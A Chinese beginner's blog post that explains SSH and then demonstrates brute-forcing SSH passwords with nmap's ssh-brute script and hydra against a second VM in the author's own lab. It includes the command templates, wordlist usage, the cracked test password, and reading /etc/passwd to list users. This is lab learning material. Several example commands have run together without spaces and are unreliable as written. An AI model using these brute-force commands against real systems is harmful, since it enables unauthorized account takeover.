SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序,后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。几乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行SSH。
简单来说,在很多运维场景,都会使用ssh远程操作linux服务器。虽然它相对于telnet已经安全很多,但是也架不住最原始最直接的暴力破解法。以下是小白刚刚学到的两种办法:
命令如下:
nmap -p 22 --script=ssh-brute --script-args userdb=用户字典,passdb=密码字典 目标机ip
例如:
nmap-p22–script=ssh-brute --script-args userdb=2.txt,passdb=1.txt192.168.229.129
就是在构建好用户字典2.txt和密码字典1.txt后,尝试爆破192.168.229.129的ssh登陆口令。
最终爆破得到密码为:aaaaaa。
hydra -l root -P ssh_password.txt 目标机ip ssh -v
其中-l 指定用户名,可以使用-L指定用户名字典文件;-p指定密码,-P指定密码字典文件;-v显示详细的执行过程。
例如:
hydra-lezpd-P1.txt192.168.229.129ssh-v
就是在构建好密码字典1.txt后,尝试爆破192.168.229.129的用户ezpd的密码。
同样得到密码:aaaaaa。
啰嗦一句我的测试环境:用vmware 15 创建的两个kali虚拟机,一个ip为192.168.229.128,一个ip为192.168.229.129。在129这台创建一个用户ezpd,密码为:aaaaaa。然后启动ssh服务。
再啰嗦一句:
创建用户的命令为:
adduser用户名
这条命令是引导式的,接下来按照提示输入密码,一顿回车就行。
还啰嗦一句:
启动ssh服务的命令为:
servicesshd start
最后啰嗦一句:
可以通过passwd文件,查看linux有哪些用户。命令为:
cat/etc/passwd